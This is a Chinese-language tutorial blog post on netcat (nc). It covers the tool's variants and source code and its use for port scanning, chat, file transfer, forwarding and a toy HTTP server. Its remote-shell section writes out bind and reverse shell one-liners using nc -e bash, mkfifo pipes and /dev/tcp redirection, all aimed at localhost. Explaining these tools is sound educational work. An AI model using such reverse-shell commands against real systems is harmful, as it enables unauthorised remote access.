nc的使用和原理

nc的简介

nc 是 netcat 的缩写。

nc 是一个用于处理网络连接的工具。

netcat 的原始版本是一个 Unix 程序。最后一个版本（1.10）于 1996 年 4 月发布。原作者叫做 Hobbit hobbit@avian.org。

现在的 nc 有很多种实现。下面是常见的五种实现。

GNU 版
- 包名通常为 nc-traditional netcat-traditional
- https://snapshot.debian.org/package/netcat/
openbsd 版
- 包名通常为 nc-openbsd netcat-openbsd
- https://github.com/openbsd/src/blob/master/usr.bin/nc
nmap 版
- ncat 通常是指 nmap 版的 nc
- ncat 的包名通常是 ncat nmap-ncat
- https://github.com/nmap/nmap/tree/master/ncat
- ncat 是 nmap 项目的组成部分。
- Nmap (“Network Mapper(网络映射器)”) 是一个免费的开源实用程序，用于网络发现和安全审核。
- 除了经典的命令行 Nmap 可执行文件之外，Nmap 套件包括
  - 高级 GUI 和结果查看器（Zenmap），
  - 一个灵活的数据传输、重定向和调试工具（Ncat），
  - 一个实用程序比较扫描结果（Ndiff）
  - 数据包生成和响应分析工具（Nping）
socat
- socat 的官方文档描述它是 "netcat++" (extended design, new implementation)
- socat 的包名就是 socat
- socat 是 socket cat 的缩写
- http://www.dest-unreach.org/socat/
BusyBox 版
- https://github.com/mirror/busybox/blob/master/networking/nc.c
- 同样地 toybox 里也有一个 nc
除此之外，还有一个 cryptcat
- cryptcat 是 netcat 的变体，基本上就是多了一个密码的参数
- cryptcat 好像是来自 kali linux

多数情况下 nc 或 netcat 是指 GNU 版或 openbsd 版，一般系统自带的是 GNU 版

判断当前系统的 nc 版本先用 type nc 再用 realpath 或 ls -l 查看 nc 的真实路径，最好用 realpath 类似这样 realpath /bin/nc

socat 和 ncat 和 nc-openbsd 都支持 tls 。从功能上看。 BusyBox nc < nc-traditional < nc-openbsd < ncat < socat

nc的使用

nc 扫描端口

nc -v 127.0.0.1 801
nc -v -i 1 127.0.0.1 801
nc -v -z -i 1 127.0.0.1 801
nc -v -z -i 1 127.0.0.1 800-900
不是所有版本的nc都支持 i z 参数，不是所有版本的 nc 支持批量端口扫描

nc 实现聊天

最简单的一对一
    nc -l 801
    nc 127.0.0.1 801

nc 传输文件

接收端先运行一个 nc
    nc -l 801 > output.txt
发送端再运行一个 nc
    nc 127.0.0.1 801 < input.txt

nc 实现一个转发服务

nc 自己调用自己
nc -v -l -k -p 9901 -e "nc 127.0.0.1 9902"
nc -v -l -k -p 9901 -e "bash -c \"nc 127.0.0.1 9902\""
使用管道
mkfifo pipe1;cat pipe1 | nc -v -l -p 9901 | /bin/bash -c "nc 127.0.0.1 9902" 2>&1 1>pipe1;

nc 实现远程 shell

远程 shell
    nc -v -l -p 9901 -e "bash"
控制端
    nc -v 127.0.0.1 9901
即使没有 -e 参数，也能通过管道实现各种奇技淫巧，虽然管道的奇技淫巧只能处理单个连接
    mkfifo pipe1;cat pipe1 | nc -v -l -p 9901 | /bin/bash 2>&1 1>pipe1;

nc 实现远程反向 shell

控制端先运行一个 nc
    nc -v -l -p 9901
目标机器上连接控制机器的 9901 端口，并将其shell绑定到该连接上
    nc -v 127.0.0.1 9901 -e "bash"
    mkfifo pipe1; cat pipe1 | nc -v 127.0.0.1 9901 | /bin/bash 2>&1 1>pipe1;
    exec 3<>/dev/tcp/127.0.0.1/9901; exec 0>&3; exec 1<&3; /bin/bash 2>&1;
    exec 3<>/dev/tcp/127.0.0.1/9901; /bin/bash 2>&1 0>&3 1<&3; 这种写法似乎更好

用 ncat 实现最简单的五个协议

参考这个网页
https://nmap.org/ncat/guide/ncat-simple-services.html

echo
    while read -r line; do echo "$line"; done
    echo 123 | while read -r line; do echo "$line"; done
    echo -e "123\n321" | while read -r line; do echo "$line"; done
    nc -l -k -p 9901 -e "cat $@"
daytime
    date -u "+%d %b %y %k:%M:%S %z"
    date -u --rfc-2822
    date -u --rfc-3339="seconds"
    date -u --iso-8601="seconds"
time
    date +%s | awk '{printf "%#x", $1+2209017600}' | xxd -r
discard
    while read -r line; do echo "$line" > /dev/null; done
chargen
    lineLimit=72;offset=0;count=0;while true; do for ((i=0; i<$lineLimit; i++)); do tag=$((($i + $offset) % 95)); printf "\x$(printf %x $(($tag + 32)))"; done; offset=$(($offset + 1)); if [ $offset -ge 95 ]; then offset=0; fi; printf "\n";count=$(($count + 1)); done;

nc 如何模拟 telnet 客户端？

nc 也可以像 telnet 那样模拟 http 客户端

nc www.baidu.com 80
连接后，快速地输入 GET / HTTP/1.0 然后连续输入两个回车，就能返回网页内容
又或者直接一句命令
    printf 'GET / HTTP/1.0\r\nHost:www.baidu.com\r\n\r\n' | nc www.baidu.com 80

nc 如何模拟 http 服务器

输出固定的内容

如果支持 参数 k
trap "{ kill $; }" SIGINT;while true; do nc -v -l -k -p 9901 -c "echo \"HTTP/1.0 200 OK\\r\\nContent-Length: 11\\r\\n\\r\\nhelloworld\""; sleep 1s; done;

如果不支持 参数 k
while true; do { echo -e 'HTTP/1.1 200 OK\r\nContent-Length: 11\r\n\r\n'; echo helloworld; } | nc -v -l -k -p 9901; sleep 0.5s; done

能保持运行，但每次只能处理一个请求，通过连续两次 ctrl+c 退出，但个请求都要等待一秒

输出动态内容

动态输出内容的命令会写得非常的长，而且还有很多转义字符需要处理，所以最后还是写成了脚本的形式
nc -v -l -p 9901 -c ./http.sh
同样地需要关注 nc 是否支持参数 k ，需要有两种不一样的写法，参考上面的就可以了
参数k的作用是重复处理连接，如果没有参数k，nc会只处理一个连接就退出了

这是 http.sh 的内容
#!/bin/bash
echo -n "HTTP/1.0 200 OK"
echo -e -n "\r\n"
echo -n "Content-Length: 11"
echo -e -n "\r\n\r\n"
echo "helloworld"

已经有人做了类似的了
https://github.com/avleen/bashttpd
netcat -lp 9901 -e ./bashttpd

测试用的命令

curl -v 127.0.0.1:9901
nc 127.0.0.1 9901

windows 如何使用 nc

github 上有好几个 windows 版的 nc ，但都很久没更新了
- https://github.com/diegocr/netcat
- https://github.com/int0x33/nc.exe
先下载 windows 版的 busybox ，再使用 busybox 里的 nc
- https://frippery.org/busybox/
- https://github.com/rmyorston/busybox-w32
- 要下载 busybox64u.exe 这个版本，64位且支持 unicode ，虽然这个版本只支持 win10和win11
nmap 也有提供 windows 版的 nc
windows 版的 ncat 最好还是在 bash 里运行。。。
或者用脚本语言自己实现一个也可以。。。

nc的原理

大致原理

只处理连接
socket一部分参数可以通过命令行传入，例如 -w -u 这类
把socket的输入和输出重定向到标准输入和标准输出

nc 的源码

nc-traditional
- 可以下载到源码，但不能在线预览，bz2 的那个才是源码
- https://snapshot.debian.org/package/netcat/
- https://manpages.debian.org/bookworm/netcat-traditional/nc.traditional.1.en.html
nc-openbsd
- https://github.com/openbsd/src/blob/master/usr.bin/nc/netcat.c
nmap 的 nc
socat 的源码镜像，但很久没更新了
- https://github.com/3ndG4me/socat
- 源码可以直接在官网里下载 gz 文件 http://www.dest-unreach.org/socat/
BusyBox nc
- https://github.com/mirror/busybox/blob/master/networking/nc.c
原始版本的nc，也是很久都没更新了
- https://sourceforge.net/p/nc110/git/ci/master/tree/

如何实现一个 nc

实现一个客户端
实现一个服务端

用 python 和 php 实现一个 nc

如果 bash 有 /usr/lib/bash/accept 这个特性，那么直接用 bash 实现一个 nc 也不是不可以的。客户端部分用 exec /dev/tcp/$host/$port 和 exec /dev/udp/$host/$port 来实现，服务端部分用 /usr/lib/bash/accept 来实现。只有 bash 搞网络编程还是有太多限制了，因为 socket 很多选项无法通过 bash 设置。

推荐订阅源

f2h2h1's blog